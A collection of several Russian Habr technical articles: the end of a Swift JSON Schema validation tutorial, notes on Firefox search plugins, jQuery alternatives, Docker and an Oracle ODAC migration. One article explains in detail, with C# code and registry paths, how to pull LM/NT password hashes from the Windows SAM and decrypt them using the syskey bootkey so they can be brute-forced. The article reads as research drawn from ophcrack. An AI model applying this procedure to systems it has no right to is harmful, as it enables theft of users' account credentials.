"minLength": 1,
"title": "Accept schema.",
"description": "An explanation about the purpose of this instance described by this schema.",
"name": "Accept",
"default": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"enum": [
null,
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
]
},
"Accept-Encoding": {
"id": "http://myjsonschema.net/headers/Accept-Encoding",
"type": "string",
"minLength": 1,
"title": "Accept-Encoding schema.",
"description": "An explanation about the purpose of this instance described by this schema.",
"name": "Accept-Encoding",
"default": "gzip, deflate, br",
"enum": [
null,
"gzip, deflate, br"
]
},
"Accept-Language": {
"id": "http://myjsonschema.net/headers/Accept-Language",
"type": "string",
"minLength": 1,
"title": "Accept-Language schema.",
"description": "An explanation about the purpose of this instance described by this schema.",
"name": "Accept-Language",
"default": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3",
"enum": [
null,
"ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3"
]
},
"Host": {
"id": "http://myjsonschema.net/headers/Host",
"type": "string",
"minLength": 1,
"title": "Host schema.",
"description": "An explanation about the purpose of this instance described by this schema.",
"name": "Host",
"default": "httpbin.org",
"enum": [
null,
"httpbin.org"
]
},
"User-Agent": {
"id": "http://myjsonschema.net/headers/User-Agent",
"type": "string",
"minLength": 1,
"title": "User-Agent schema.",
"description": "An explanation about the purpose of this instance described by this schema.",
"name": "User-Agent",
"default": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0",
"enum": [
null,
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0"
]
}
}
},
"origin": {
"id": "http://myjsonschema.net/origin",
"type": "string",
"minLength": 1,
"title": "Origin schema.",
"description": "An explanation about the purpose of this instance described by this schema.",
"name": "origin",
"default": "193.105.7.55",
"enum": [
null,
"193.105.7.55"
]
},
"url": {
"id": "http://myjsonschema.net/url",
"type": "string",
"minLength": 1,
"title": "Url schema.",
"description": "An explanation about the purpose of this instance described by this schema.",
"name": "url",
"default": "https://httpbin.org/get",
"enum": [
null,
"https://httpbin.org/get"
]
}
},
"required": [
"args",
"headers",
"origin",
"url"
]
}`
В принципе, схему можно сократить, не устанавливая галочки, и приведя переключатель «Array» в состояние «Single empty schema», но так мы лишимся возможности использовать некоторые плюшки совместного использования схемы и языка Swift.
В реальной жизни часто ответ сервера весьма велик, и содержит множество элементов массива, которые к тому же могут быть словарями. Схема при этом не будет возрастать в размерах, так как конструктор корректно обработает повторяемость элементов.
Создайте файл с именем response.json и добавьте его в проект.
Если Вы используете Cocoapods добавьте строку
***pod ‘VVJSONSchemaValidation'*** в Ваш **Podfile**. Если Cocoapods Вы не испоьзуете, то придется обратится непосредственно к GitHub репозиторию Власа Волошина: [github.com/vlas-voloshin/JSONSchemaValidation](https://github.com/vlas-voloshin/JSONSchemaValidation)
После обновления Cocoapods в исходный код проекта будет достаточно добавить следующий класс:
**Validator class**`import UIKit
import VVJSONSchemaValidation
class Validator
{
private var _schemaName = ""
var schemaName:String {
get {
return _schemaName
}
set(value)
{
_schemaName = value
guard let path = NSBundle.mainBundle().pathForResource(value, ofType: "json") else {
return
}
do
{
if let schemaData = NSData(contentsOfFile:path) {
self.schema = try VVJSONSchema(data: schemaData, baseURI: nil, referenceStorage: nil)
}
}
catch let error as NSError
{
print("\n")
print("===============================================================")
print("Schema '\(value).json' didn't create:\n\(error.localizedDescription)")
print("===============================================================")
print("\n")
}
}
}
private var schema:VVJSONSchema?
func validate(response:AnyObject?) -> Bool
{
if let schema = self.schema
{
do {
try schema.validateObject(response!)
}
catch let error as NSError
{
print("\n")
print("===============================================================")
print("\(error.userInfo["NSLocalizedDescription"]!)\n\(error.userInfo["NSLocalizedFailureReason"]!)")
print("===============================================================")
print("\n")
return false
}
}
return true
}
}`
В классе, в котором получаете ответ от сервера добавляем:
`let validator = Validator()
validator.schemaName = "response"`
А в методе (блоке) где получаем серверный ответ пишем:
`if self.validator.validate(response) {
self.parse(response) // <— это метод извлечения данных их JSON
}`
Вот и все.
Теперь, если со стороны сервера придут данные которые не соответствуют указанной схеме, то механизм парсинга не будет запущен. Вам не нужно описывать в коде логику JSON ответа, только для того, чтоб понять, не допущена ли там какая-то ошибка. Т. е. если он верный — можно смело парсить. Конечно, такой код не защищает Вас на 100%, но 99.9% ошибочных ответов будет отсеяно. Опыт показывает, что при ручном программировании логики, количество ошибочных ответов приводящих к крешу системы отсеивается только в 68,2%.
Дополнительными плюшками от такого подхода можно выделить то, что можно указать дефолтные значения в прямо в схеме:
`"default": «193.105.7.55" можно заменить на "default": "127.0.0.1",`
А в «enum» привести перечень тех значений которые допустимы для объекта модели данных. В моем случае, это Optional String (String?), т. е. строка которая потенциально может содержать либо nil, либо «193.105.7.55»:
**Enum**`"enum": [
null,
"193.105.7.55"
]`
Очень легко перейти к развитию этой концепции:
1. Схемы могут создаваться разработчиками, которые разрабатывают REST API, и в готовом виде интегрироваться в приложение. В случае ошибок будет всегда один ответственный за нарушение целостности данных.
2. В случае, если валидация данных не проходит, на сторону сервера передается название схемы, запрос и ответ сервера. Это позволит оперативно отследить и корректировать работу API на стороне back-end | https://habr.com/ru/post/283012/ | null | ru | null |
# Хранение и шифрование паролей Microsoft Windows
Про взлом паролей windows было написано немало статей, но все они сводились к использованию какого-либо софта, либо поверхностно описывали способы шифрования LM и NT, и совсем поверхностно описывали syskey. Я попытаюсь исправить этот неодостаток, описав все подробности о том где находятся пароли, в каком виде, и как их преобразует утилита syskey.
Существует 2 возможности получения пароля — через реестр, или получив прямой доступ к файлам-кустам реестра. В любом случае нужны будут либо привелегии пользователя SYSTEM, либо хищение заветных файлов, например, загрузившись из другой ОС. Здесь я не буду описывать возможности получения доступа, но в целях исследования нагляднее будет выбрать первый вариант, это позволит не заострять внимание на структуре куста реестра. А запуститься от системы нам поможет утилита [psExec](http://technet.microsoft.com/ru-ru/sysinternals) от sysinternals. Конечно, для этих целей можно использовать уязвимости windows, но статья не об этом.
#### V-блок
Windows до версии Vista по умолчанию хранила пароль в двух разных хэшах — LM и NT. В висте и выше LM-хэш не хранится. Для начала посмотрим где искать эти хэши, а потом разберемся что из себя они представляют.
Пароли пользователей, а так же много другой полезной информации хранится в реестре по адресу **HKLM\SAM\SAM\Domains\Account\users\[RID]\V**
, известном как V-блок. Раздел SAM находится в соответствующем файле **c:\Windows\System32\config\SAM**. RID — уникальный идентификатор пользователя, его можно узнать, например заглянув в ветку **HKLM\SAM\SAM\Domains\Account\users\names\<имя пользователя>** (параметр Default, поле — тип параметра). Например, RID учетной записи «Администратор» всегда 500 (0x1F4), а пользователя «Гость» — 501 (0x1f5). Доступ к разделу SAM по умолчанию возможен только пользователю SYSTEM, но если очень хочется посмотреть — запускаем regedit c правами системы:
`PsExec.exe -s -i -d regedit.`
Чтобы наблюдать V-блок в удобном виде можно, например, экспортировать его в текстовый файл (File-Export в Regedit).
Вот что мы там увидим:
От 0x0 до 0xCC располагаются адреса всех данных, которые находятся в V-блоке, их размеры и некоторая дополнительная информация о данных. Чтобы получить реальный адрес надо к тому адресу, что найдем прибавить 0xCC. Адреса и размеры хранятся по принципу BIG ENDIAN, т.е понадобится инвертировать байты. На каждый параметр отводится по 4 байта, но фактически все параметры умещаются в одном-двух байтах. Вот где искать:
Адрес имени пользователя — 0xС
Длина имени пользователя — 0x10
Адрес LM-хэша — 0x9с
Длина LM-хэша — 0xa0
Адрес NT-хэша — 0xa8
длина NT-хэша — 0xac
В данном случае имя пользователя найдется по смещению 0xd4 + 0xcc и его длина будет 0xc байт.
NT-хэш будет располагаться по смещению 0x12c + 0xcc и его размер (всегда один и тот же) = 0x14.
Еще одна деталь, касающаяся хранения паролей — как к NT- так и к LM-хэшу всегда добавляются спереди 4 байта, назначение которых для меня загадка. Причем 4байта будут присутствовать даже если пароль отключен. В данном случае видно, что длина LM хэша =4 и если посмотреть на его адрес, можно эти 4 байта увидеть несмотря на то что никакого LM-хэша нет.
Поэтому при поиске смещений хэшей смело прибавляем 4 байта к адресу, а при учете размеров — вычитаем. Если удобнее читать код — вот примерно так будет выглядеть поиск адресов с учетом инверсии, лишних четырех байтов и прибавления стартового смещения 0xcc (код C#)
`int lmhashOffset = userVblock[0x9c] + userVblock[0x9d] * 0x100 + 4 + 0xcc;
int nthashOffset = userVblock[0xa8] + userVblock[0xa9] * 0x100 + 4 + 0xcc;
int lmhashSize = userVblock[0xa0] + userVblock[0xa1] * 0x100 - 4;
int nthashSize = userVblock[0xac] + userVblock[0xad] * 0x100 - 4;
int usernameOffset = userVblock[0xc] + userVblock[0xd] * 0x100 + 0xcc;
int usernameLen = userVblock[0x10] + userVblock[0x1a] * 0x100;`
userVblock — значение HKLM\SAM\SAM\Domains\Account\users\\V в виде массива байт.
Еще про V-блок можно почитать [тут](http://paullee.ru/sam3.html).
#### Алгоритмы
Теперь разберемся в алгоритмах шифрования.
**Формирование NT-хэша**:
1. Пароль пользователя преобразуется в Unicode-строку.
2. Генерируется MD4-хэш на основе данной строки.
3. Полученный хэш шифруется алгоритмом DES, ключ составляется на основе RID пользователя.
**Формирование LM-хэша**:
1. Пароль пользователя преобразуется в верхний регистр и дополняется нулями до длины 14 байт.
2. Полученная строка делится на две половинки по 7 байт и каждая из них по отдельности шифруется алгоритмом DES. В итоге получаем хэш длиной 16 байт (состоящий из двух независимых половинок длиной по 8 байт).
3. Полученный хэш шифруется алгоритмом DES, ключ составляется на основе RID пользователя.
**4.** В windows 2000 и выше оба полученых хэша дополнительно шифруются алоритмом RC4 с помощью ключа, известного как «системный ключ» или bootkey, сгенерированого утилитой syskey, и шифруются довольно хитрым образом.
Рассмотрим общую последовательность действий для получения исходного пароля и каждый шаг в отдельности
1. Получаем bootkey, генерируем на его основе ключи для RC4, расшифровываем хэши с помощью RC4
2. Получаем ключи для DES из RID'ов пользователей, расшифровываем хэши DES'ом
3. Полученые хэши атакуем перебором.
#### Bootkey
Системный ключ (bootkey) разбит на 4 части и лежит в следующих разделах реестра:
**HKLM\System\CurrentControlSet\Control\Lsa\JD
HKLM\System\CurrentControlSet\Control\Lsa\Skew1
HKLM\System\CurrentControlSet\Control\Lsa\GBG
HKLM\System\CurrentControlSet\Control\Lsa\Data**
Раздел system находится в файле c:\Windows\System32\config\system
Следует отметить, что раздел CurrentControlSet является ссылкой на один из разделов controlset и создается в момент загрузки системы. Это значит что не получится его найти в файле system, если система неактивна. Если вы решили искать ключ в файле — необходимо узнать значение ContolSet по умолчанию в HKLM\SYSTEM\Select\default.
например если HKLM\SYSTEM\Select\default = 1 — вместо **HKLM\System\CurrentControlSet\** ищем в **HKLM\System\controlset001\**
У каждого ключа реестра есть некий скрытый атрибут, известный как «class». Regedit его так просто не покажет, однако его можно увидеть, например, если экспортировать эти ключи реестра в текстовые файлы. В winapi для получения этого атрибута есть функция [RegQueryInfoKey](http://msdn.microsoft.com/en-us/library/ms724902(VS.85).aspx).
Фрагменты хранятся в строковом представлении шестнадцатеричных чисел, причем по принципу BIG ENDIAN (т.е не строка задом наперед, а число).
Например мы обнаружили вот такие записи:
`Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\JD
Class Name: 46003cdb = {0xdb,0x3c,0x00,0x46}
Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1
Class Name: e0387d24 = {0x24,0x7d,0x38,0xe0}
Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\GBG
Class Name: 4d183449 = {0x49,0x34,0x18,0x4d}
Key Name: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Data
Class Name: 0419ed03 = {0x03,0xed,0x19,0x04}`
Собраный из четырех частей ключ будет массивом байт:
`scrambled_key = {0xdb,0x3c,0x00,0x46,0x24,0x7d,0x38,0xe0,0x49,0x34,0x18,0x4d,0x03,0xed,0x19,0x04};`
Далее элементы этого массива переставляются на основе некоторого константного массива p
`int[] p = { 0xb, 0x6, 0x7, 0x1, 0x8, 0xa, 0xe, 0x0, 0x3, 0x5, 0x2, 0xf, 0xd, 0x9, 0xc, 0x4 };`
Элементы в этом массиве определяют позиции для перестановок, т.е.
`key[i] = scrambled_key[p[i]];`
В нашем примере получится массив:
`key[] = {0x4d,0x38,0xe0,0x3c,0x49,0x18,0x19,0xdb,0x46,0x7d,0x00,0x04,0xed,0x34,0x03,0x24 };`
этот массив и есть так называемый **bootkey**. Только в шифровании паролей будет учавствовать не он а некий хэш на основе bootkey, фрагментов f-блока и некоторых констант. Назовем его Hashed bootkey.
##### Hashed bootkey
для получения Hashed bootkey нам понадобятся 2 строковые константы (ASCII):
`string aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0";
string anum = "0123456789012345678901234567890123456789\0";`
Также понадобится F-блок пользователя (HKLM\SAM\SAM\Domains\Account\users\\F), а именно его 16 байт: **F[0x70:0x80]**
На основе этих значений, склееных в один большой массив формируем MD5 хэш, который будет являться ключем для шифрования RC4
`rc4_key = MD5(F[0x70:0x80] + aqwerty + bootkey + anum).`
Последним шагом для получения hashed bootkey будет rc4 шифрование( или дешифрование — в rc4 это одна и та же функция) полученым ключем фрагмента F-блока **F[0x80:0xA0]**;
`hashedBootkey = RC4(rc4_key,F[0x80:0xA0])`
Hashed bootkey у нас в руках, осталось научиться с ним правильно обращаться.
##### Дешифруем пароли с помощью Hashed Bootkey
для паролей LM и NT нам понадобятся еще 2 строковые константы —
`string almpassword = "LMPASSWORD";
string antpassword = "NTPASSWORD";`
а так же RID пользователя в виде 4х байт (дополненый нулями) и первая половина Hashed Bootkey (**hashedBootkey[0x0:0x10]**);
Все это склеивается в один массив байт и считается MD5 по правилам:
`rc4_key_lm = MD5(hbootkey[0x0:0x10] +RID + almpassword);
rc4_key_nt = MD5(hbootkey[0x0:0x10] +RID + antpassword);`
полученый md5 хэш — ключ для rc4, которым зашифрованы LM и NT хэши в V-блоке пользователя
`userLMpass = RC4(rc4_key_lm,userSyskeyLMpass);
userNTpass = RC4(rc4_key_lm,userSyskeyNTpass);`
На этом этапе мы получили пароли пользователя в том виде в каком они хранились бы без шифрования syskey, можно сказать, что самое сложное позади. Переходим к следующему шагу
##### DES
На основе четырех байт RID'а пользователя с помощью некоторых перестановок и побитовых операций создаем 2 ключа DES. Вот функции, которые осуществляют обфускацию (С#):
`private byte[] str_to_key(byte[] str) {
byte[] key = new byte[8];
key[0] = (byte)(str[0] >> 1);
key[1] = (byte)(((str[0] & 0x01) << 6) | (str[1] >> 2));
key[2] = (byte)(((str[1] & 0x03) << 5) | (str[2] >> 3));
key[3] = (byte)(((str[2] & 0x07) << 4) | (str[3] >> 4));
key[4] = (byte)(((str[3] & 0x0F) << 3) | (str[4] >> 5));
key[5] = (byte)(((str[4] & 0x1F) << 2) | (str[5] >> 6));
key[6] = (byte)(((str[5] & 0x3F) << 1) | (str[6] >> 7));
key[7] = (byte)(str[6] & 0x7F);
for (int i = 0; i < 8; i++) {
key[i] = (byte)(key[i] << 1);
}
des_set_odd_parity(ref key);
return key;
}
private byte[] sid_to_key1(byte[] rid) {
byte[] s = new byte[7];
s[0] = (byte)(rid[0] & 0xFF);
s[1] = (byte)(rid[1] & 0xFF);
s[2] = (byte)(rid[2] & 0xFF);
s[3] = (byte)(rid[3] & 0xFF);
s[4] = s[0];
s[5] = s[1];
s[6] = s[2];
return str_to_key(s);
}
private byte[] sid_to_key2(byte[] rid) {
byte[] s = new byte[7];
s[0] = (byte)((rid[3]) & 0xFF);
s[1] = (byte)(rid[0] & 0xFF);
s[2] = (byte)((rid[1]) & 0xFF);
s[3] = (byte)((rid[2]) & 0xFF);
s[4] = s[0];
s[5] = s[1];
s[6] = s[2];
return str_to_key(s);
}`
Ну здесь особо комментировать нечего, кроме функции **des\_set\_odd\_parity(ref key)** — это одна из функций библиотеки [openssl](http://www.openssl.org/docs/crypto/des.html), задача которой добавить некоторые «биты нечетности», используется для повышения стойкости ключа к атакам.
Далее разбиваем NT (или LM) хэш на 2 части по 8 байт и дешифруем DES'ом -одна половина зашифрована ключем сформированым функцией sid\_to\_key1, вторая — sid\_to\_key2.
`obfskey_l = userNTpass[0x0:0x7]
obfskey_r = userNTpass[0x8:0xF]
byte[] deskey1 = sid_to_key1(RID);
byte[] deskey2 = sid_to_key2(RID);
byte[] md4hash_l = DES(obfskey_l, deskey1);
byte[] md4hash_r = DES(obfskey_r, deskey2);`
После склеивания двух половин мы получим md4 хэш -в случае NT, или LanMan (DES) — в случае LM. Полученый хэш полностью готов к атаке перебором.
Кстати, md4 Хэш от пустого пароля — **31d6cfe0d16ae931b73c59d7e0c089c0**
Исследование проведено на основе исходного кода [ophcrack-3.3.1](http://ophcrack.sourceforge.net/download.php), а так же статьи [Push the Red Button:SysKey and the SAM](http://moyix.blogspot.com/2008/02/syskey-and-sam.html) | https://habr.com/ru/post/114150/ | null | ru | null |
# Как сделать экспериментальный поиск Google поиском по умолчанию в Firefox
Прежде всего, если вы его еще не видели, вы можете посмотреть результаты его поиска [тут](http://www.google.ru/search?esrch=BetaShortcuts&hl=ru&newwindow=1&client=firefox-a&rls=org.mozilla%3Aen-US%3Aofficial&hs=Ja9&q=Habrahabr&btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA&lr=).
Вам покажут страницу с новым дизайном и поддержкой шорткатов.
### Как настроить Firefox?
1. Зайдите в папку searchplugins в директории Firefox (обычно это «c:\Program Files\Mozilla Firefox\searchplugins»)
2. Откроте любым текстовым редактором файл google.xml
3. Найдите строку
4. Впишите после нее это:
Сохраните и перезагрузите Firefox
Voila! Теперь им можно пользоваться! | https://habr.com/ru/post/11388/ | null | ru | null |
# Вы можете обойтись без jQuery
jQuery — практически стандартная библиотека любого веб-разработчика. Если при разработке сайтов и веб-приложений почти никогда нет смысла отказываться от вылизанного до последнего байта библиотечного кода ради экономии нескольких десятков килобайт при загрузке, то при написании библиотек отказ от лишней зависимости выглядит куда соблазнительнее. Вполне может оказаться, что в ваш код достаточно включить всего пару десятков строк, реализующих одну или несколько функций jQuery. Да и вопросы совместимости и соответствия стандартам в современных браузерах стоят уже не так остро, как несколько лет назад.
В январе этого года стартовал проект, цель которого — собрать коллекцию сниппетов, которые показывают, как можно реализовать популярные функции jQuery на чистом JavaScript. Проект, названный «You might not need jQuery», хостится [на Гитхабе](https://github.com/HubSpot/YouMightNotNeedjQuery). Все сниппеты, собранные воедино, можно посмотреть на [странице проекта](http://youmightnotneedjquery.com/). Несколько десятков фрагментов кода посвящены работе с элементами DOM и эффектами, событиями, AJAX-запросами, вспомогательными функциями, такими как `bind`, `extend`, `map`.
Авторы проекта подчёркивают — отказаться от использования jQuery можно и нужно, но только в том случае, если вы очень хорошо понимаете, что делаете. Они приводят [документ](https://docs.google.com/document/d/1LPaPA30bLUB_publLIMF0RlhdnPx_ePXm7oW02iiT6o), в котором собраны ссылки на строки в jQuery, которые обрабатывают баги и несовместимости в отдельных браузерах. Таких ссылок там около сотни — хороший повод задуматься о том, действительно ли вам так уж необходимо обходиться без jQuery. | https://habr.com/ru/post/211961/ | null | ru | null |
# Docker, как показатель зрелости
Когда мы были детьми, мы многого не понимали, что на данный момент является абсолютно очевидным. "Почему я не могу есть одни конфеты? Почему бутерброды — не еда, я же это ем? Почему я не могу спать с хомяком? Зачем чистить зубы каждый день, да еще целых два раза?!" Действительно, зачем? Но будучи взрослыми, зрелыми людьми, мы не задаемся подобными вопросами.
Похожая ситуация происходит и в мире IT (возможно, это касается любой профессиональной деятельности). Многих вещей на начальных стадиях мы можем не понимать. "Зачем, да и вообще кому нужны всякие Symfony, если есть WordPress? Зачем тратить время на автоматическое тестирование, если и так все работает? Git? Linux? SOLID, DRY, DDD, TDD? Что за страшные слова?". Новичкам сложно понять, зачем нужно так много всего. Осознание приходит со временем и вскоре такие вещи становятся не только понятными, но и очевидными.
Хочу рассказать свою историю того, как я дорос до Docker и что этому поспособствовало.
> **Дисклеймер**
>
> Эта статья всего-лишь повествование, в котором могут быть как объективные, так и субъективные мысли. Если я в чем-то не прав или сильно заблуждаюсь, пожалуйста, скажите мне об этом. Я люблю здравую, адекватную критику и готов принять конструктивные замечания.
Docker достаточно простая вещь. Но вы когда-нибудь пытались объяснить простому смертному, что это такое? Я пытался. Не получилось. Я и сам долгое время не понимал, зачем нужна эта штука. Я слышал про него, пытался вникнуть, но каждый раз бросал. Видимо, было еще рано — не созрел. Но в определенный момент произошла "Эврика"! Это был достаточно долгий путь, о котором я хотел бы рассказать другим. Возможно, эта статья поможет Вам сократить свой путь и начать пользоваться этим замечательным инструментом как можно раньше.
Этап 1. FTP или что-то подобное
-------------------------------
Когда я начал работать веб-разработчиком, я попал в одну очень маленькую контору. Опыта у меня было 0, мы разрабатывали простые сайты на собственной, как мы это называли, "CMS". Слово OpenSource для меня было незнакомым, все функции писались руками, архитектуры не было никакой. Дыры в безопасности были подобны черным дырам. Если сайты типа "Блог", "Самый простой интернет-магазин" или "Новостная лента" были еще как-то реализуемы, то вещи чуть сложнее вызывали дикую боль и страдания. Работали мы через FTP, из-за чего возникали серьезные проблемы, когда два человека работали над одним и тем же файлом. Если кто-то что-то сломал или случайно затер, это пропадало на веки вечные.
И тут к нам пришел заказчик, по совместительству мой хороший друг, с одним незаурядным на фоне всех других наших работ проектом. Мы приступили за работу, но вскоре контора закрылась и я стал напрямую работать с этим проектом один. Тогда у меня и появилась возможность сделать все по-человечески...
Этап 2. LAMP
------------
На втором этапе было принято несколько решений, порядок которых я уже и не помню. Скорее всего они происходили одновременно.
Во-первых, весь код я стал хранить в приватном Git репозитории на Bitbucket. Это, пожалуй, первое, чему стоит научиться любому разработчику. Это повысило защищенность кода от стороннего вмешательства. VPS мог сломаться, его могли взломать, просто не успели заплатить. Думаю, мысль ясна. Помимо этого, я закрыл FTP и деплой происходил по Git Push Webhook из ветки release или test.
Во-вторых, вместо одного сайта, было запущено два почти одинаковых. Первый — релиз, который обслуживал реальных клиентов. Второй — тестовый, который был запаролен, имел все самые последние нестабильные фичи. Последний нужен для того, чтобы не выкатывать в продакшн то, что не проверено и может работать не правильно. Хоть и работали эти два сайта на одном хосте, но были независимы.
В-третьих, что самое главное, разработка стала вестись локально. На ноутбук устанавливался стек LAMP, все это дело настраивалось, проект запускался локально на поддомене `.dev` (UPD Этот домен как оказалось [занят](https://www.opennet.ru/opennews/art.shtml?num=47258) и использовать его не стоит. Спасибо [alexkbs](https://habrahabr.ru/users/alexkbs/), за [комментарий](https://habrahabr.ru/post/343572/#comment_10547036)). Это значительно ускорило разработку, позволило работать offline, пропала боязнь что-то сломать и жить стало чуточку проще.
Но вдруг я накосячил и пришлось переустановить Ubuntu. Заново приходится устанавливать и настраивать весь этот стек… Это дело можно было автоматизировать bash скриптом, но будет жесткая привязка к системе. Пусть я работаю один, но у начальства есть планы нанять второго, поэтому хотелось бы упростить жизнь и ему, и себе. После нескольких таких косяков я все таки нашел решение.
Этап 3. Vagrant
---------------
Vagrant — проще говоря, это инструмент, который дает Вам возможность настраивать VirtualBox скриптом. То есть, если написать правильный конфиг, то одной командой `vagrant up` можно загрузить готовый образ Debian, установить туда необходимый софт, настроить и получить готовое тестовое окружение.
Ну не чудо ли? На самом деле чудо! Это заметно упростило процесс разворачивания среды разработки, очистило основную систему от ненужных пакетов, и, благодаря виртуализации, я смог настроить машину как можно ближе к настройкам хостинга.
Виртуализация здорово подходит для разработки. Но в продакшн оно не годится. Это лютый овехед для системы. К тому же этот метод не решает несколько проблем:
* Окружение хостинга и виртуальной машины похоже, но не одинаково. Поэтому все еще всплывали баги жанра "У меня все работает"
* Окружение хоста и виртуалки нужно было поддерживать в актуальном состоянии. Если что-то менялось на сервере, нужно было менять и в виртуалке
* Смена хостинга или переустановка системы в VPS еще та боль. Хостинг все еще приходилось настраивать вручную.
* Обновлять некоторые пакеты не так-то просто. Попробуйте обновить PHP с версии 5.6 на 7.x. Это возможно. Но вероятность напортачить с зависимостями или сломать apache2 все же присутствует. Особенно, если Вы не сисадмин, а просто веб-разработчик, который любит и немного знает линукс.
* Попробуйте запустить на одном хостинге два проекта с разными версиями MySQL и PHP. Почему-то я сомневаюсь, что это вообще возможно. Это может быть полезно, если нужно протестировать, как работает сайт на новой версии PHP, при этом продакшн оставить на старой версии. Вероятность что-то сломать при подобной настройке очень велика.
Да и лишними несколько гигабайт оперативки никогда не бывает.
Этап 4. Docker!
---------------
А вот теперь возьмите все проблемы из всех этапов выше и представьте, что есть инструмент, который просто и элегантно решит их за Вас.
Что такое Docker? В интернете очень много сравнений с контейнерами, которые используются для транспортировки товара. Это верно.
Но представьте себе большой зал и много людей, которые над чем-то работают. Не обязательно, что они делают одно и то же. Бухгалтера, юристы, плотники, маляры, аналитики, программисты. Да, они иногда взаимодействуют. Но из-за того, что у них нет личного рабочего пространства, такая работа больше похожа на хаос. Беда с документами, кто-то у кого-то ручку стащил, кто-то сел на чужой стул, притронулся к не своему компу и п.р. Но если поставить перегородки, каждому человеку или группе людей выделить личное рабочее место, то и жить становится проще. Каждый занимается своим делом, пользуется своими ресурсами, никому не мешает. Взаимодействие происходит через выделенные каналы — почту, архивы или двери.
Также и Docker. Большой зал — это Ваша система (в действительности, всё немного сложнее, но для общего понимания концепций можно и упростить). Docker может создать изолированное пространство для процесса или группу процессов, делающих свою работу. Взаимодействие происходит путем открытых портов, общих файлов, внутренних и внешних сетей. Никто никому не мешает. Таким образом, Вы можете на одном хосте иметь хоть 20 версий PHP или еще чего-нибудь. А благодаря образам (images) Вы можете, образно говоря, заказать готовый офис со всеми плюшками.
Подключение к проекту новых компонентов стало вопросом нескольких строк благодаря docker-compose. Вот несколько примеров:
```
#Подключение PHPMyAdmin
pma:
image: phpmyadmin/phpmyadmin:4.7
restart: always
environment:
MYSQL_ROOT_PASSWORD: ${DB_PASSWORD}
depends_on:
- db
ports:
- "181:80"
```
```
#Подключение MySQL
db:
image: mysql:5.7.20
restart: always
environment:
MYSQL_DATABASE: ${DB_NAME}
MYSQL_ROOT_PASSWORD: ${DB_PASSWORD}
volumes:
- db-data:/var/lib/mysql
```
Нужно обновить версию MySQL? Сколько времени и усилий пришлось бы приложить, чтобы сделать это на обычном VPS хостинге? Тут это вопрос 3-4 символов.
Благодаря тому, что Docker работает внутри рабочей системы, а не создает новую, он не сильно нагружает машину для разработки и вполне пригоден для прода. И это большой плюс, потому что код, запущенный на машине разработчика с Ubuntu, будет работать ровно также, как и на сервере с Debian
Еще одна польза от такого решения — автоматическое тестирование стало значительно проще. Проверка происходит внутри изолированных контейнеров, которые создаются перед каждым запуском. Поэтому тесты стабильны и выполняются или не выполняются всегда.
Заключение
----------
Docker понять не просто, несмотря на его простоту. Для этого нужно подрасти. У меня не было надежного руководства, поэтому все приходилось постигать самому. Возможно кто-то как я благодаря этой статье сможет вырасти немного быстрее.
**Постскриптум**Хочу отметить одну мысль. Внедрение Docker может быть порой избыточным. Если у Вас личный блог, одностраничник или какой-либо другой простой проект, то настройка сервера съест у Вас время и ресурсы, а на выхлопе профита либо не будет, либо он будет отрицательным. Но если это крупный и долгосрочный проект, до Docker скорее всего будет правильным решением. Это как автоматические тесты. Для маленьких проектов они не нужны, тогда как для крупных обязательны.
---
И еще, я никого не хочу учить плохому. Если я предоставил какую-то ложную информацию, пожалуйста, исправьте меня. Если допустил ошибку, помогите исправить. | https://habr.com/ru/post/343572/ | null | ru | null |
# Переход с ODAC 10 на ODAC 12
Всем доброго утра!
Понадобилось нам тут в оперативном порядке перейди на Oracle.DataAcess 12й версии в нашем .Net проекте. И все нормально шло ровно до того момента, как мы попытались запустить приложение. В *паре тысяч* мест внезапно вывалилась ошибка типа:
```
Unable to cast object of type 'Oracle.DataAccess.Types.OracleDecimal' to type 'System.IConvertible'.
```
Поиск по форумам дал ответ — в 11й версии что-то конкретно переиграли в OracleParameter и как следствие — все Convert.ToXXX в нашем проекте отвалились.
В качестве решения в блоге Mark Williams [oradim.blogspot.ru/2009/08/odpnet-vb-and-from-type-to-type-is-not.html](http://oradim.blogspot.ru/2009/08/odpnet-vb-and-from-type-to-type-is-not.html) предлагается следующее:
> If you are having conversion problems in your code with «output» or «return values» keep in mind that setting OracleDbType vs. DbType will determine whether a .NET Framework type or an Oracle provider type is returned. Also, the current ODP.NET Beta (11.1.7.10) exposes a new property for the OracleParameter class: OracleDbTypeEx This property allows you to bind values using the OracleDbType but will return values as .NET types.
Автоматом это свойство не инициализируется. Во внутренностях ODAC через dotPeek был обнаружен следующий кусок:
```
public OracleDbType OracleDbType
{
get
{
return this.m_oraDbType;
}
set
{
if (this.m_oraDbType != value)
{
OracleDbType oracleDbType = value;
if (oracleDbType < OracleDbType.BFile || oracleDbType > OracleDbType.Boolean)
throw new ArgumentOutOfRangeException();
this.m_oraDbType = oracleDbType;
}
this.m_bSetDbType = false;
this.m_enumType = PrmEnumType.ORADBTYPE;
this.m_bOracleDbTypeExSet = false;
}
}
public OracleDbType OracleDbTypeEx
{
get
{
return this.m_oraDbType;
}
set
{
this.OracleDbType = value;
this.m_bOracleDbTypeExSet = true;
}
}
```
Т.е. нужное свойство из конструктора параметра само не инициализируется, нужно явно добавлять его простановку в код, чтобы поле this.m\_bOracleDbTypeExSet перешло в true.
Перепиливать огромное количество объявлений команд нам решительно не хотелось, благо у нас уже была своя библиотечка с методами-расширителями для OracleCommand и мы дописали еще метод:
```
public static int ExecuteNonQueryExt(this OracleCommand cmd)
{
foreach (OracleParameter param in cmd.Parameters)
{
param.OracleDbTypeEx = param.OracleDbType;
}
return cmd.ExecuteNonQuery();
}
```
